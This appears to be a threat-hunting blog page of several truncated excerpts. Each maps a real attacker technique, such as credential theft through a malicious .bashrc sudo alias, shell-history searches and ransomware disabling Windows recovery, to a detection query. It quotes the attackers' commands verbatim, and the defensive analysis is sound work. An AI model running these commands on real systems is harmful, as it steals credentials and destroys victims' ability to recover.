Know Your Adversary

Hello everyone! We don't often talk about attacks targeting Linux, but I recently came across an interesting report describing several credential access techniques: Input Capture (T1056) , Credentials In Files (T1552.001) , and Shell History (T1552.003) . First, the attackers replaced the legitimate .bashrc file with their own version, which included a command to capture credentials: alias sudo='echo -n "[sudo] password for $USER: " && read -r p && echo "$USER:$p" | base64 -w0 >>/dev/shm/Solarwinds.StatusLog.txt && /usr/bin/sudo $@' We can hunt for newly created .bashrc files using the following query: event_type: "filecreatenix" AND file_path: "bashrc" Second, the attackers searched for credentials in .bash_history and .mysql_history files : /bin/sh -c grep -r 'password|passwd|secret' /root/.bash_history 2>/dev/null; cat /root/.mysql_history 2>/dev/null | tail -30 Similar suspicious acti...

Hello everyone! As you know, attackers often change the attributes of malicious files to hide them from users, system administrators, and cybersecurity professionals. However, in some cases, system settings are configured to display even hidden system files. And, of course, malware can do something about that! Today, let's take a look at a piece of malware with an interesting name: KGB RAT . Examining its behavioral indicators, we can identify an unusual one: a registry modification designed to hide protected operating system files, followed by refreshing Windows Explorer windows using PowerShell: cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f && powershell -command "&{ $null = New-Object -ComObject Shell.Application; (New-Object -ComObject Shell.Application).Windows() | ForEach-Object { $_.Refresh() }}" Such a configuration change is certainly suspicious and can be used f...

Hello everyone! Today, we’ll take another look at the Inhibit System Recovery (T1490) technique, this time focusing on how threat actors use the Microsoft Windows Recovery Agent. As you already know, attackers do not always limit themselves to deleting shadow copies. They may also disable other operating system recovery capabilities. In this case, the attackers also disabled the Windows Recovery Environment (WinRE). To do so, the Settra ransomware executed the following command: reagentc /disable Of course, this activity can be legitimate. Nevertheless, it is quite suitable for proactive threat hunting: event_type: "processcreatewin" AND proc_file_path: "reagentc.exe" AND cmdline: "disable" Once again, it is worth noting that although this was part of the ransomware’s functionality in this particular case, the same technique can also be used by attackers as part of their preparations for encrypting an IT environment. See you soon!

Hello everyone! Ransomware doesn’t always involve particularly interesting techniques, but there are exceptions. Today, we’ll look at a noteworthy example of Inhibit System Recovery (T1490) . Let’s take a closer look at Monkey Ransomware and how it attempts to prevent a compromised system from being recovered. In addition to more common techniques, such as deleting shadow copies and the local Windows Backup catalog, the malware also disables System Restore and removes existing restore points: powershell.exe -Command "Disable-ComputerRestore -Drive C:\" powershell.exe -Command "Get-ComputerRestorePoint | Remove-ComputerRestorePoint -RestorePointType All" These actions are often performed immediately before or alongside the encryption process. However, attackers may also use scripts to disable recovery mechanisms before deploying the ransomware. This creates an interesting detection opportunity: if we can catch these commands before the ransomware is deployed, we may...

Hello everyone! As you know, threat actors frequently abuse various command and scripting interpreters at different stages of the attack lifecycle. Today, we’ll look at a less common example involving Python (T1059.006) . To develop hunting hypotheses, let’s take a look at Zscaler’s report on SloppyRAT. In particular, we’re interested in the section covering Python. First, the attackers used a renamed copy of curl.exe to download IronPython from GitHub: "C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip In this case, we can hunt for suspicious IronPython downloads performed with cURL: event_type: "processcreatewin" AND proc_file_originalfilename: "curl.exe" AND cmdline: *ironpython* The attackers then used the downloaded interpreter to deliver CastleLoader, followed ...

Hello everyone! Today, let’s take a look at Direct Volume Access (T1006) - a technique threat actors can use to bypass normal access controls and gain access to files they’re interested in, including those containing credentials. For example, attackers can access Volume Shadow Copies to get around file locks and access protected data. In this case, the threat actors made multiple attempts to dump the Security Account Manager (SAM) and access the NTDS.dit database. They then used vssadmin to create shadow copies of the C:\ and F:\ drives: vssadmin create shadow /for=C: vssadmin create shadow /for=F: While this activity can certainly be legitimate - for example, as part of backup or system administration tasks - the execution of these commands can also be a sign that an attacker is attempting to access files containing sensitive information. This makes activity like this worth hunting for proactively: event_type: "processcreatewin" AND proc_file_path: "vssadmin.exe...